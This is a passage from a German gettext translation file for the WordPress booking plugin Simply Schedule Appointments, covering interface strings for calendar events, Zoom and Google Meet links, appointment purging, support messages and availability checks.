the booking (if any), and all of the customers in the group booking." msgstr "Google-Einladung, die an den synchronisierten Kalender aus den Google-Einstellungen der Terminarten, an die der Buchung zugewiesenen Teammitglieder (falls vorhanden) und an alle Kunden in der Gruppenbuchung gesendet wird." #: languages/admin-app-translations.php:716 msgid "What you and all attendees will see on the calendar." msgstr "Was du und alle Teilnehmenden im Kalender sehen werden." #: languages/admin-app-translations.php:715 msgid "Shared Group Event" msgstr "Geteilte Gruppenveranstaltung" #: languages/admin-app-translations.php:711 msgid "Google event added to the synced calendar in the Appointment Type’s Google settings tab. The event automatically invites the customer and team members assigned to the booking (if any)." msgstr "Google-Ereignis, das dem synchronisierten Kalender aus den Google-Einstellungen der Terminarten hinzugefügt wird. Das Ereignis lädt automatisch den Kunden und die der Buchung zugewiesenen Teammitglieder (falls vorhanden) ein." #: languages/admin-app-translations.php:710 msgid "Google event added to the synced calendar in the Appointment Type’s Google settings tab. The event automatically invites the customer." msgstr "Google-Ereignis, das dem synchronisierten Kalender aus den Google-Einstellungen der Terminarten hinzugefügt wird. Der Termin lädt den Kunden automatisch ein." #: languages/admin-app-translations.php:709 msgid "What you and your customer will see if they are invited to the event." msgstr "Was du und deine Kunden sehen werden, wenn sie zur Veranstaltung eingeladen sind." #: languages/admin-app-translations.php:708 msgid "Shared Event" msgstr "Geteilte Veranstaltung" #: languages/admin-app-translations.php:703 msgid "Automatically sent to the synced calendar in the Appointment Type’s Google settings tab." msgstr "Automatisch an den synchronisierten Kalender aus den Google-Einstellungen der Terminarten gesendet." #: languages/admin-app-translations.php:701 msgid "What you will see on the synced calendar." msgstr "Was du im synchronisierten Kalender sehen wirst." #: languages/admin-app-translations.php:700 msgid "Admin Event" msgstr "Admin Veranstaltung" #: languages/admin-app-translations.php:696 msgid "Manually added to customer's calendar through the booking confirmation screen." msgstr "Manuelles Hinzufügen zum Kalender des Kunden über die Buchungsbestätigungsansicht." #: languages/admin-app-translations.php:695 msgid "What your customer will see after clicking \"Add to my calendar\"." msgstr "Was dein Kunde sieht, nachdem er auf „Zu meinem Kalender hinzufügen“ geklickt hat." #: languages/admin-app-translations.php:694 msgid "Customer Confirmation Screen Event" msgstr "Kundenbestätigungsansicht-Ereignis" #: languages/admin-app-translations.php:687 msgid "and more" msgstr "und vieles mehr" #: languages/admin-app-translations.php:686 msgid "and" msgstr "und" #: languages/admin-app-translations.php:685 msgid "Used on appointment types like" msgstr "Verwendet bei Terminarten wie" #: languages/admin-app-translations.php:684 msgid "Calendar Events Settings saved." msgstr "Einstellungen der Kalendereinträge gespeichert." #: languages/admin-app-translations.php:683 msgid "Save Calendar Events Settings" msgstr "Kalendereinträge speichern" #: languages/admin-app-translations.php:682 msgid "Customize event content" msgstr "Veranstaltungsinhalte anpassen" #: languages/admin-app-translations.php:681 msgid "Personalize how your event content will look like when an event is created." msgstr "Lege fest, wie deine Veranstaltungsinhalte aussehen sollen, wenn eine Veranstaltung erstellt wird." #: languages/admin-app-translations.php:680 msgid "Customize your calendar event" msgstr "Passe deinen Kalendereintrag an" #: languages/admin-app-translations.php:673 msgid "Delete Google Calendar events when appointments are canceled or rescheduled" msgstr "Google Kalendereinträge löschen, wenn Termine abgesagt oder umgeplant werden." #: languages/admin-app-translations.php:672 msgid "Delete Canceled / Rescheduled Events" msgstr "Abgesagte/umgeplante Anlässe löschen" #: languages/admin-app-translations.php:630 msgid "Include only upcoming appointments, excluding all past appointments. Helpful for busy sites with lots of appointments." msgstr "Nur kommende Termine einbeziehen, alle vergangenen Termine ausschließen. Hilfreich für stark frequentierte Betriebe mit einer Vielzahl von Terminen." #: languages/admin-app-translations.php:629 msgid "Only export upcoming appointments" msgstr "Nur kommende Termine exportieren" #: languages/admin-app-translations.php:558 msgid "Learn more about independent availability." msgstr "Erfahre mehr über unabhängige Verfügbarkeiten." #: languages/admin-app-translations.php:442 msgid "Settings saved." msgstr "Einstellungen gespeichert." #: languages/admin-app-translations.php:437 msgid "Learn more about these options." msgstr "Erfahre mehr über diese Optionen." #: languages/admin-app-translations.php:436 msgid "Handle more complex scheduling with extra options." msgstr "Verwalte komplexere Planungen mit zusätzlichen Optionen." #: languages/admin-app-translations.php:435 msgid "Enable Advanced Scheduling Options for Appointment Types" msgstr "Erweiterte Terminplanungsoptionen für Terminarten aktivieren" #: includes/class-templates.php:166 msgid "[Event location info will go here...]" msgstr "[Informationen zum Veranstaltungsort findest du hier ...]" #: includes/class-templates.php:164 msgid "[List of attendees will go here...]" msgstr "[Liste der Teilnehmenden wird hier eingefügt ...]" #: languages/admin-app-translations.php:2190 msgid "This template has invalid syntax. Check your Twig template variables for errors." msgstr "Dieses Template weist eine ungültige Syntax auf. Überprüfe deine Twig-Template-Variablen auf mögliche Fehler." #: languages/admin-app-translations.php:2189 msgid "This field is required" msgstr "Dieses Feld ist erforderlich" #: languages/admin-app-translations.php:65 msgid "Show error details" msgstr "Fehlerdetails anzeigen" #: languages/admin-app-translations.php:64 msgid "View our troubleshooting guide for more information." msgstr "Weitere Informationen findest du in unserer Anleitung zur Fehlerbehebung." #: languages/admin-app-translations.php:63 msgid "This is usually caused by a theme or plugin conflict." msgstr "Dies wird normalerweise durch einen Theme- oder Plugin-Konflikt verursacht." #: languages/admin-app-translations.php:1744 msgid "Default URL" msgstr "Standard-URL" #: languages/admin-app-translations.php:1743 msgid "If a team member doesn't have a web meeting URL, use this URL for any scheduled appointments" msgstr "Wenn ein Teammitglied keine Web-Meeting-URL hat, verwende diese URL für die geplanten Termine" #: languages/admin-app-translations.php:1741 msgid "Team member web meeting link" msgstr "Web-Meeting-Link für Teammitglieder" #: languages/admin-app-translations.php:1740 msgid "Not all team members assigned to this appointment type have a web meeting URL" msgstr "Nicht alle Teammitglieder, die dieser Terminart zugeordnet sind, haben eine Web-Meeting-URL" #: languages/admin-app-translations.php:1739 msgid "Use Team Member's web meeting URL" msgstr "Verwende die Web-Meeting-URL des Teammitglieds" #: languages/admin-app-translations.php:1427 msgid "Duration should not be negative." msgstr "Die Dauer sollte nicht negativ sein." #: languages/admin-app-translations.php:1240 msgid "Enter a custom URL for a web meeting, for example, your Zoom Personal Meeting URL." msgstr "Gib eine individuelle URL für ein Web-Meeting ein, z. B. deine persönliche Zoom-Meeting-URL." #: languages/admin-app-translations.php:1067 msgid "No web meeting URL" msgstr "Keine Web-Meeting-URL" #: includes/class-cli.php:48 msgid "The file is empty." msgstr "Die Datei ist leer." #: includes/class-cli.php:42 msgid "Could not read the file." msgstr "Die Datei konnte nicht gelesen werden." #: includes/class-cli.php:39 msgid "Could not find the file." msgstr "Die Datei konnte nicht gefunden werden." #: includes/class-cli.php:33 msgid "There was an error retrieving the file." msgstr "Beim Abrufen der Datei ist ein Fehler aufgetreten." #: includes/class-cli.php:25 msgid "Please provide a valid file path or URL." msgstr "Bitte gib einen gültigen Dateipfad oder eine URL an." #: languages/admin-app-translations.php:2134 msgid "Simply Schedule Appointments version" msgstr "Simply-Schedule-Appointments-Version" #: languages/admin-app-translations.php:2122 msgid "License Status" msgstr "Lizenzstatus" #: languages/admin-app-translations.php:1835 msgid "New date/time" msgstr "Neues Datum/Uhrzeit" #: languages/admin-app-translations.php:1834 msgid "Original date/time" msgstr "Ursprüngliches Datum/Uhrzeit" #. translators: 1: SSA Plugin version, 2: Edition name, 3: WordPress's Update #. screen #: includes/lib/td-health-check/includes/class-health-check-site-status.php:305 msgid "Your version of Simply Schedule Appointments %2$s Edition (v%1$s) is out of date. <a href=\"%3$s\">Upgrade to the latest version (v%4$s)</a>" msgstr "Deine Version von Simply Schedule Appointments %2$s Edition (v%1$s) ist nicht mehr aktuell. <a href=\"%3$s\">Upgrade auf die neueste Version (v%4$s)</a>" #. translators: %s is the URL to the login page. #: includes/class-support-status.php:477 includes/class-support-status.php:523 msgid "<a href=\"%s\" target=\"_blank\">Get your license key</a> and add it to <a href=\"#/ssa/settings/license\">this site's settings</a> to enable automatic updates." msgstr "<a href=\"%s\" target=\"_blank\">Erhalte deinen Lizenzschlüssel</a> und füge ihn den <a href=\"#/ssa/settings/license\">Einstellungen dieser Website</a> hinzu um automatische Updates zu aktivieren." #: languages/admin-app-translations.php:1868 msgid "Open Reschedule / Cancel Link" msgstr "Umbuchungs-/Storieren-Link öffnen" #: languages/admin-app-translations.php:1867 msgid "Reschedule / Cancel Link" msgstr "Umbuchungs-/Storieren-Link" #: languages/admin-app-translations.php:592 msgid "Download .csv file" msgstr ".csv-Datei herunterladen" #: languages/admin-app-translations.php:591 msgid "Something went wrong while running this job:" msgstr "Bei der Ausführung dieses Vorgangs ist etwas schief gelaufen:" #: languages/admin-app-translations.php:590 msgid "Appointments successfully removed from the database." msgstr "Termine erfolgreich aus der Datenbank gelöscht." #: languages/admin-app-translations.php:589 msgid "Purging appointments..." msgstr "Termine bereinigen ..." #: languages/admin-app-translations.php:588 msgid "Confirm" msgstr "Bestätigen" #: languages/admin-app-translations.php:587 #: languages/admin-app-translations.php:1845 msgid "Close" msgstr "Schließen" #: languages/admin-app-translations.php:586 msgid "This process will remove appointments from the database and you won’t be able to recover them. A .csv file containing all deleted appointments will be generated at the end of this process." msgstr "Bei diesem Vorgang werden die Termine aus der Datenbank gelöscht und können nicht wiederhergestellt werden. Am Ende dieses Vorgangs wird eine .csv-Datei mit allen gelöschten Terminen erstellt." #: languages/admin-app-translations.php:581 msgid "Purge abandoned Appointments" msgstr "Abgesagte Termine löschen" #: languages/admin-app-translations.php:580 msgid "Purge past Appointments" msgstr "Vergangene Termine löschen" #: languages/admin-app-translations.php:577 msgid "Purge now" msgstr "Jetzt bereinigen" #: languages/admin-app-translations.php:576 msgid "If your booking app is slow, purging past and canceled appointments can help improve performance." msgstr "Wenn deine Buchungs-App langsam ist, kann das Bereinigen vergangener und stornierter Termine die Leistung verbessern." #: languages/admin-app-translations.php:575 msgid "Purge Appointments" msgstr "Termine bereinigen" #: languages/admin-app-translations.php:570 msgid "Developer Jobs" msgstr "Entwickler-Jobs" #: languages/admin-app-translations.php:508 msgid "Developer" msgstr "Entwickler" #: languages/admin-app-translations.php:422 msgid "Deleted Appointment Types" msgstr "Gelöschte Terminart" #: languages/admin-app-translations.php:24 msgid "Recover" msgstr "Wiederherstellen" #: includes/class-csv-exporter.php:52 msgid "Error creating .csv file." msgstr "Fehler beim Erstellen der .csv-Datei." #: includes/class-csv-exporter.php:39 msgid "No appointments to export to .csv file." msgstr "Keine Termine für den Export in eine .csv-Datei." #: includes/class-appointment-type-model.php:1379 msgid "Appointment type not updated. Please try again" msgstr "Die Terminart wurde nicht aktualisiert. Bitte versuche es erneut" #: includes/class-appointment-model.php:1864 msgid "Something went wrong while deleting the appointments. Please try again." msgstr "Beim Löschen der Termine ist etwas schief gelaufen. Bitte versuche es erneut." #: includes/class-appointment-model.php:1843 msgid "No appointments found to be deleted." msgstr "Es wurden keine zu löschenden Termine gefunden." #: includes/class-appointment-model.php:1835 msgid "Nothing to delete." msgstr "Nichts zu löschen." #: languages/admin-app-translations.php:1590 msgid "Advance required must be 1 minute or more" msgstr "Die Vorlaufzeit muss 1 Minute oder mehr betragen" #: languages/admin-app-translations.php:260 msgid "Upgrade now" msgstr "Jetzt upgraden" #: languages/admin-app-translations.php:647 msgid "Restore previous backup" msgstr "Backup wiederherstellen" #: includes/class-support-status.php:447 msgid "No backup files were found." msgstr "Es wurden keine Backup-Dateien gefunden." #: includes/class-support-status.php:432 msgid "Could not find any export backups." msgstr "Es wurden keine Export-Backups gefunden." #: includes/class-support-status.php:385 msgid "An error occurred while trying to save a backup." msgstr "Beim Speichern eines Backups ist ein Fehler aufgetreten." #: languages/admin-app-translations.php:2142 msgid "Invalid email" msgstr "Ungültige E-Mail-Adresse" #: languages/admin-app-translations.php:2120 msgid "PHP default timezone" msgstr "PHP-Standard-Zeitzone" #: languages/admin-app-translations.php:1610 msgid "Are you sure you want to leave this page? Any unsaved changes will be lost." msgstr "Willst du diese Seite wirklich verlassen? Alle nicht gespeicherten Änderungen gehen verloren." #: languages/admin-app-translations.php:1373 msgid "Are you sure you want to leave this page? Any unsaved changes to this webhook will be lost." msgstr "Willst du diese Seite wirklich verlassen? Alle nicht gespeicherten Änderungen an diesem Webhook gehen verloren." #: languages/admin-app-translations.php:1084 msgid "Are you sure you want to leave this page? Any unsaved changes to this team member will be lost." msgstr "Willst du diese Seite wirklich verlassen? Alle nicht gespeicherten Änderungen an diesem Teammitglied gehen verloren." #: languages/admin-app-translations.php:1022 msgid "Are you sure you want to leave this page? Any unsaved changes to the SMS settings will be lost." msgstr "Willst du diese Seite wirklich verlassen? Alle nicht gespeicherten Änderungen an den SMS-Einstellungen gehen verloren." #: languages/admin-app-translations.php:982 msgid "Are you sure you want to leave this page? Any unsaved changes to this notification will be lost." msgstr "Willst du diese Seite wirklich verlassen? Alle nicht gespeicherten Änderungen an dieser Benachrichtigung gehen verloren." #: languages/admin-app-translations.php:936 msgid "The refund policy of the selected appointment type" msgstr "Die Erstattungsbedingungen für den ausgewählten Termintyp" #: languages/admin-app-translations.php:779 #: languages/admin-app-translations.php:983 #: languages/admin-app-translations.php:1023 #: languages/admin-app-translations.php:1085 #: languages/admin-app-translations.php:1374 #: languages/admin-app-translations.php:1611 msgid "Leave without saving" msgstr "Verlassen ohne Speichern" #: languages/admin-app-translations.php:778 msgid "Are you sure you want to leave this page? Any unsaved changes to this payment gateway will be lost." msgstr "Willst du diese Seite wirklich verlassen? Alle nicht gespeicherten Änderungen an diesem Zahlungs-Gateway gehen verloren." #: languages/admin-app-translations.php:639 msgid "SSA export code sent to Support" msgstr "SSA-Exportcode wurde an den Support gesendet" #: languages/admin-app-translations.php:638 msgid "SSA export code attached" msgstr "SSA-Exportcode beigefügt" #: languages/admin-app-translations.php:637 msgid "Send to Support" msgstr "An den Support senden" #: includes/class-templates.php:169 msgid "[Refund Policy will go here...]" msgstr "[Erstattungsbedingungen hier eingefügen...]" #: languages/admin-app-translations.php:989 msgid "This is a live preview of how your message will look when it's sent out." msgstr "Diese Vorschau zeigt dir, wie deine Nachricht aussehen wird, wenn sie versendet wird." #: languages/admin-app-translations.php:988 msgid "Live Preview" msgstr "Live-Vorschau" #: languages/admin-app-translations.php:329 msgid "Learn how to schedule Zoom calls" msgstr "Erfahre, wie man Zoom-Anrufe plant" #: languages/admin-app-translations.php:328 msgid "Now you can use Simply Schedule Appointments to book Zoom calls with your customers. Learn how to get set up to use this new feature." msgstr "Jetzt kannst du mit Simply Schedule Appointments Zoom-Anrufe mit deinen Kunden organisieren. Erfahre, wie du diese neue Funktion einrichten kannst." #: languages/admin-app-translations.php:327 msgid "Available now! Schedule Zoom meetings" msgstr "Jetzt verfügbar! Plane Zoom-Meetings" #: languages/admin-app-translations.php:323 msgid "Get even more out of SSA! Upgrade to the Plus Edition to unlock Zoom appointment scheduling and other awesome features like:" msgstr "Hole noch mehr aus SSA raus! Aktualisiere auf die Plus Edition, um die Zoom-Terminplanung und andere fantastische Funktionen freizuschalten:" #: templates/calendar-events/customer.php:32 #: templates/calendar-events/individual-admin.php:27 #: templates/calendar-events/individual-shared.php:27 msgid "Need to make changes to this event?" msgstr "Möchtest du Änderungen an diesem Eintrag vornehmen?" #: languages/admin-app-translations.php:322 msgid "Schedule Zoom meetings with Simply Schedule Appointments" msgstr "Plane Zoom-Meetings mit Simply Schedule Appointments" #: languages/admin-app-translations.php:2037 msgid "Availability Detective (beta)" msgstr "Verfügbarkeitsdetektiv (Beta)" #: languages/admin-app-translations.php:2004 msgid "Web Meeting:" msgstr "Web-Meeting:" #: languages/admin-app-translations.php:1810 msgid "Zoom account hasn't been connected" msgstr "Zoom-Konto wurde nicht verbunden" #: languages/admin-app-translations.php:1734 msgid "Custom URL Settings" msgstr "Individuelle URL-Einstellungen" #: languages/admin-app-translations.php:1713 #: languages/admin-app-translations.php:1724 msgid "Open Meeting: anyone with the link can immediately join" msgstr "Offenes Meeting: Jeder, der den Link hat, kann sofort teilnehmen" #: languages/admin-app-translations.php:1712 #: languages/admin-app-translations.php:1723 msgid "Private Meeting: Host required to admit each meeting attendee" msgstr "Privates Meeting: Der Host muss jeden Meeting-Teilnehmer einlassen" #: languages/admin-app-translations.php:1720 msgid "Zoom Meeting Options" msgstr "Zoom-Meeting-Optionen" #: languages/admin-app-translations.php:1686 msgid "Google Calendar account hasn't been connected" msgstr "Google-Kalender-Konto wurde nicht verbunden" #: languages/admin-app-translations.php:1681 msgid "Mailchimp account hasn't been connected" msgstr "Mailchimp-Konto wurde nicht verbunden" #: languages/admin-app-translations.php:1400 msgid "Your Zoom account isn't connected yet." msgstr "Dein Zoom-Konto ist noch nicht verbunden." #: languages/admin-app-translations.php:1399 msgid "Personal Meeting Url" msgstr "Persönliche Meeting-URL" #: languages/admin-app-translations.php:1398 msgid "User Email" msgstr "Benutzer-E-Mail" #: languages/admin-app-translations.php:1397 msgid "Zoom oAuth Redirect URL copied to clipboard" msgstr "Redirect-URL für oAuth mit Zoom wurde in die Zwischenablage kopiert" #: languages/admin-app-translations.php:1396 msgid "Zoom oAuth Redirect URL (click to copy)" msgstr "Redirect-URL für oAuth mit Zoom (zum Kopieren anklicken)" #: languages/admin-app-translations.php:1394 msgid "Authorize Zoom" msgstr "Zoom autorisieren" #: languages/admin-app-translations.php:2000 msgid "Show All" msgstr "Alle anzeigen" #: languages/admin-app-translations.php:1999 msgid "Looks like you've got a lot of appointments in this date range! You can use the Export button to export them all to a CSV file. Or you can click the button below to display them all here. Note that displaying so many appointments take a few minutes." msgstr "Du hast anscheinend sehr viele Termine in diesem Zeitraum! Über den Button „Exportieren“ kannst du alle in einer CSV-Datei herunterladen. Alternativ kannst du auf den unten stehenden Button klicken, um alle hier anzuzeigen. Bitte beachte, dass die Anzeige derart vieler Termine ein paar Minuten dauern kann." #: languages/admin-app-translations.php:1998 msgid "Lots of appointments!" msgstr "Sehr viele Termine!" #: includes/class-notifications.php:611 #: templates/customer/upcoming-appointments.php:129 msgid "at" msgstr "bei" #: languages/admin-app-translations.php:1732 #: languages/admin-app-translations.php:1742 msgid "Please enter a valid URL that is 256 characters or less" msgstr "Bitte gib eine gültige URL ein, die maximal 256 Zeichen lang ist" #: includes/class-appointment-model.php:953 msgid "There was a problem booking your appointment." msgstr "Bei der Buchung deines Termins ist ein Problem aufgetreten." #: includes/class-appointment-model.php:951 msgid "Could not insert appointment into database." msgstr "Der Termin konnte nicht in die Datenbank eingefügt werden." #: languages/admin-app-translations.php:2173 msgid "Ask our support team" msgstr "Frage unser Support-Team" #: languages/admin-app-translations.php:2172 msgid "Need more help?" msgstr "Benötigst du zusätzliche Hilfe?" #: languages/admin-app-translations.php:2147 msgid "Include list of active plugins" msgstr "Liste der aktiven Plugins einbeziehen" #: languages/admin-app-translations.php:2144 msgid "Messages sent to the support team through this form will include debugging information about this appointment type and general settings" msgstr "Nachrichten, die über dieses Formular an das Support-Team gesendet werden, enthalten Informationen zu dieser Terminart und allgemeine Einstellungen zur Fehlerbehebung" #: includes/class-support-status-api.php:220 #: includes/class-support-status-api.php:235 msgid "Your support ticket failed to be sent, please send details to support@ssaplugin.com" msgstr "Dein Support-Ticket konnte nicht gesendet werden, bitte sende die Details an support@ssaplugin.com" #: languages/admin-app-translations.php:503 msgid "Default country for telephone number fields" msgstr "Standardland für Rufnummernfelder" #: languages/admin-app-translations.php:502 msgid "Auto-detect" msgstr "Automatische Erkennung" #: includes/class-blackout-dates.php:114 msgid "The date you selected is set as a global blackout date in your settings" msgstr "Das von dir gewählte Datum ist in deinen Einstellungen als globales Blackout-Datum festgelegt" #: includes/class-blackout-dates.php:113 msgid "Blocked by a global blackout date" msgstr "Gesperrt durch ein globales Blackout-Datum" #: includes/class-availability-model.php:767 msgid "This time is unavailable, but we are unable to detect the reason automatically. Please contact support." msgstr "Diese Uhrzeit ist nicht verfügbar, aber wir können den Grund nicht automatisch erkennen. Bitte kontaktiere den Support." #: includes/class-availability-model.php:766 msgid "Please contact support" msgstr "Bitte kontaktiere den Support" #: includes/class-availability-model.php:751 msgid "The date and time you selected is unavailable because of an event on an excluded Google Calendar." msgstr "Das von dir gewählte Datum und die Uhrzeit sind aufgrund eines Ereignisses in einem unberücksichtigten Google Kalender nicht verfügbar." #: includes/class-availability-model.php:741 msgid "The date and time you selected is on a global blackout date." msgstr "Das von dir gewählte Datum und die Uhrzeit fallen auf ein globales Blackout-Datum." #: includes/class-availability-model.php:710 msgid "Please contact support to get help looking at your appointment type settings." msgstr "Bitte wende dich sich an den Support, um Hilfe bei der Überprüfung ihrer Terminart-Einstellungen zu erhalten." #: includes/class-availability-model.php:709 msgid "Appointment Type settings" msgstr "Terminart-Einstellungen" #: includes/class-availability-model.php:627 msgid "The date and time you selected is outside the availability window you set for this appointment type." msgstr "Das von dir gewählte Datum und die Uhrzeit liegen außerhalb des Verfügbarkeitsfensters, das du für diese Terminart festgelegt hast." #: includes/class-availability-model.php:616 msgid "The date and time you selected is on a date that has already reached your setting for the maximum number of appointments per day." msgstr "Das von dir gewählte Datum und die Uhrzeit liegen an einem Datum, das deine Einstellung für die maximale Anzahl Termine pro Tag bereits erreicht hat." #: includes/class-availability-model.php:615 msgid "Maximum # Per Day" msgstr "Maximale Anzahl pro Tag" #: includes/class-availability-model.php:605 msgid "The date and time you selected is later than your maximum advance booking notice." msgstr "Das von dir gewählte Datum und die Uhrzeit sind später als deine maximale Buchungsfrist." #: includes/class-availability-model.php:594 msgid "The date and time you selected is sooner than your minimum booking notice." msgstr "Das von dir gewählte Datum und die Uhrzeit sind früher als deine minimale Buchungsfrist." #: includes/class-availability-model.php:553 msgid "The date and time you selected is available to be booked." msgstr "Das von dir gewählte Datum und die Uhrzeit sind zur Buchung verfügbar." #: includes/class-availability-model.php:552 msgid "Time slot is available" msgstr "Zeitfenster ist verfügbar" #: includes/class-availability-model.php:518 msgid "The date you selected is in the past, so a customer can't book it – without a time machine :)" msgstr "Das von dir gewählte Datum liegt in der Vergangenheit, so dass ein Kunde es nicht buchen kann – ohne Zeitmaschine :)" #: includes/class-availability-model.php:517 msgid "That time has already passed" msgstr "Diese Zeit ist bereits vergangen" #: languages/admin-app-translations.php:2108 msgid "Available" msgstr "Verfügbar" #: languages/admin-app-translations.php:2107 msgid "Checking availability" msgstr "Verfügbarkeit wird überprüft" #: languages/admin-app-translations.php:2102 msgid "What time should be available?" msgstr "Welche Uhrzeit sollte verfügbar sein?" #: languages/admin-app-translations.php:2098 msgid "What date should be available?" msgstr "Welches Datum sollte verfügbar sein?" #: languages/admin-app-translations.php:2094 msgid "No appointments can be booked after:" msgstr "Keine Terminbuchung möglich nach:" #: languages/admin-app-translations.php:2093 msgid "How far into the future appointments can be booked" msgstr "Wie weit in der Zukunft Termine gebucht werden können" #: languages/admin-app-translations.php:2092 msgid "Advance notice" msgstr "Vorankündigung" #: languages/admin-app-translations.php:2088 msgid "No appointments can be booked before:" msgstr "Keine Terminbuchung möglich vor:" #: languages/admin-app-translations.php:2087 msgid "How much notice is required when booking an appointment" msgstr "Wie viel Vorlauf bei der Buchung eines Termins erforderlich ist" #: includes/class-availability-model.php:593 #: languages/admin-app-translations.php:2086 msgid "Minimum booking notice" msgstr "Minimale Buchungsfrist" #: languages/admin-app-translations.php:2081 msgid "When appointments can be booked" msgstr "Wann Termine gebucht werden können" #: includes/class-availability-model.php:626 #: languages/admin-app-translations.php:2080 msgid "Availability Window" msgstr "Verfügbarkeitsfenster" #: languages/admin-app-translations.php:2075 #: languages/admin-app-translations.php:2082 msgid "Open" msgstr "Öffnen" #: languages/admin-app-translations.php:2074 msgid "When the booking form is available for booking appointments" msgstr "Wann das Buchungsformular für die Terminbuchungen verfügbar ist" #: languages/admin-app-translations.php:2073 msgid "Booking Window" msgstr "Buchungsfenster" #: languages/admin-app-translations.php:2069 msgid "Time to leave free after an appointment" msgstr "Zeit zum Freihalten nach einem Termin" #: languages/admin-app-translations.php:2068 msgid "Buffer after" msgstr "Puffer danach" #: languages/admin-app-translations.php:2064 msgid "Time to leave free before an appointment" msgstr "Zeit zum Freihalten vor einem Termin" #: languages/admin-app-translations.php:2063 msgid "Buffer before" msgstr "Puffer davor" #: languages/admin-app-translations.php:2055 msgid "The duration of the appointment type is longer than any available times for booking on this day of the week." msgstr "Die Dauer der Terminart ist länger als alle verfügbaren Buchungszeiten an diesem Wochentag." #: languages/admin-app-translations.php:2054 msgid "Not available for duration" msgstr "Nicht für die Dauer verfügbar" #: languages/admin-app-translations.php:2050 #: languages/admin-app-translations.php:2056 msgid "Edit Appointment Type" msgstr "Terminart bearbeiten" #: languages/admin-app-translations.php:2049 msgid "This appointment type has no availability on this day of the week" msgstr "Diese Terminart ist an diesem Wochentag nicht verfügbar" #: languages/admin-app-translations.php:2048 msgid "No availability" msgstr "Keine Verfügbarkeit" #: languages/admin-app-translations.php:2043 msgid "About this appointment type" msgstr "Über diese Terminart" #: languages/admin-app-translations.php:2042 msgid "Get more information" msgstr "Erhalte mehr Informationen" #: languages/admin-app-translations.php:2040 msgid "Which appointment type?" msgstr "Welche Terminart?" #: languages/admin-app-translations.php:2036 msgid "Not sure why your availability for different appointment types isn't what you expected? We'll help you figure out what's going on." msgstr "Du bist dir nicht sicher, warum deine Verfügbarkeit für verschiedene Terminarten nicht das ist, was du erwartet hast? Wir helfen dir herauszufinden, was los ist." #: languages/admin-app-translations.php:1206 msgid "Calendars Connected:" msgstr "Verbundene Kalender:" #: languages/admin-app-translations.php:1204 msgid "This team member is checking calendars for conflicts:" msgstr "Dieses Teammitglied prüft die Kalender auf Konflikte:" #: languages/admin-app-translations.php:1203 msgid "This team member has NOT selected any calendars to check for conflicts." msgstr "Dieses Teammitglied hat KEINE Kalender zum Prüfen auf Konflikte ausgewählt." #: languages/admin-app-translations.php:1719 msgid "Zoom - generate a unique meeting URL" msgstr "Zoom – Generiere eine eindeutige Meeting-URL" #: languages/admin-app-translations.php:1120 msgid "Permissions" msgstr "Berechtigungen" #: languages/admin-app-translations.php:1119 msgid "Contact" msgstr "Kontaktdaten" #: languages/booking-app-new-translations.php:69 #: languages/booking-app-translations.php:62 msgid "Available: " msgstr "Verfügbar:" #: templates/notifications/email/text/booked-customer.php:30 #: templates/notifications/email/text/booked-staff.php:29 msgid "At your appointment time, join the meeting using this link: %s" msgstr "Nimm zum Zeitpunkt deines Termins über diesen Link an der Besprechung teil: %s" #: languages/admin-app-translations.php:2117 msgid "More Details" msgstr "Weitere Details" #: languages/admin-app-translations.php:1971 msgid "Appointment Filters" msgstr "Terminfilter" #: languages/admin-app-translations.php:1968 msgid "Team member" msgstr "Teammitglied" #: languages/admin-app-translations.php:1811 msgid "Connect Zoom" msgstr "Zoom verbinden" #: languages/admin-app-translations.php:1749 msgid "Do not create a meeting URL" msgstr "Erstelle keine Meeting-URL" #: languages/admin-app-translations.php:1733 msgid "Enter a custom URL for a web meeting, for example, your Zoom Personal Meeting URL" msgstr "Gib eine individuelle URL für ein Web-Meeting ein, z. B. deine persönliche Zoom-Meeting-URL" #: languages/admin-app-translations.php:1731 msgid "Custom web meeting link" msgstr "Individueller Web-Meeting-Link" #: languages/admin-app-translations.php:1730 msgid "Custom - Enter a custom meeting URL" msgstr "Benutzerdefiniert – Gib eine individuelle Meeting-URL ein" #: languages/admin-app-translations.php:1729 msgid "Custom" msgstr "Individuell" #: languages/admin-app-translations.php:1703 msgid "Edit Google Calendar Settings" msgstr "Google-Kalender-Einstellungen bearbeiten" #: languages/admin-app-translations.php:1702 msgid "To generate a Google Meet URL, you must select a Google Calendar for the \"Sync appointments with this calendar\" setting in the Google Calendar settings for this appointment type" msgstr "Um eine Google-Meet-URL zu generieren, musst du in den Google-Kalender-Einstellungen für diese Terminart einen Google Kalender für die Einstellung „Termine mit diesem Kalender synchronisieren“ auswählen" #: languages/admin-app-translations.php:1701 msgid "No Google Calendar selected" msgstr "Kein Google Kalender ausgewählt" #: languages/admin-app-translations.php:1700 msgid "Google Meet - Generate a unique meeting URL" msgstr "Google Meet – Generiere eine eindeutige Meeting-URL" #: languages/admin-app-translations.php:1699 msgid "Google Meet" msgstr "Google Meet" #: languages/admin-app-translations.php:1691 msgid "When creating the Google Calendar event, add the customer as an invitee" msgstr "Füge beim Erstellen des Google-Kalendereintrages den Kunden als Eingeladenen hinzu" #: languages/admin-app-translations.php:1690 msgid "Invite the customer to the event?" msgstr "Den Kunden zur Veranstaltung einladen?" #: languages/admin-app-translations.php:1689 msgid "There was a problem fetching your calendars. Please check your settings" msgstr "Es gab ein Problem beim Abrufen deiner Kalender. Bitte überprüfe deine Einstellungen" #: languages/admin-app-translations.php:1688 msgid "Check Settings" msgstr "Einstellungen prüfen" #: languages/admin-app-translations.php:1537 msgid "How many people per team member can attend a group event?" msgstr "Wie viele Personen können pro Teammitglied an einer Gruppenveranstaltung teilnehmen?" #: languages/admin-app-translations.php:1532 msgid "For example, no more than 10 customers allowed in the business at a time" msgstr "Es dürfen beispielsweise nicht mehr als 10 Kunden gleichzeitig im Geschäft sein" #: languages/admin-app-translations.php:1531 msgid "Is there an overall limit for this appointment type?" msgstr "Gibt es ein Gesamtlimit für diese Terminart?" #: languages/admin-app-translations.php:1525 msgid "Individual means 1 booking per team member per time. Group means multiple bookings per team member." msgstr "Einzeln bedeutet 1 Buchung pro Teammitglied pro Zeitraum. Gruppe bedeutet mehrere Buchungen pro Teammitglied." #: languages/admin-app-translations.php:1523 msgid "Group event or individual?" msgstr "Gruppenanlass oder Einzelperson?" #: languages/admin-app-translations.php:1519 msgid "Total capacity must be equal to or greater than capacity" msgstr "Die Gesamtkapazität muss gleich oder größer als die Kapazität sein" #: languages/admin-app-translations.php:1518 msgid "Capacity must be at least 1 and no more than 100,000" msgstr "Die Kapazität muss mindestens 1 und darf höchstens 100.000 betragen" #: 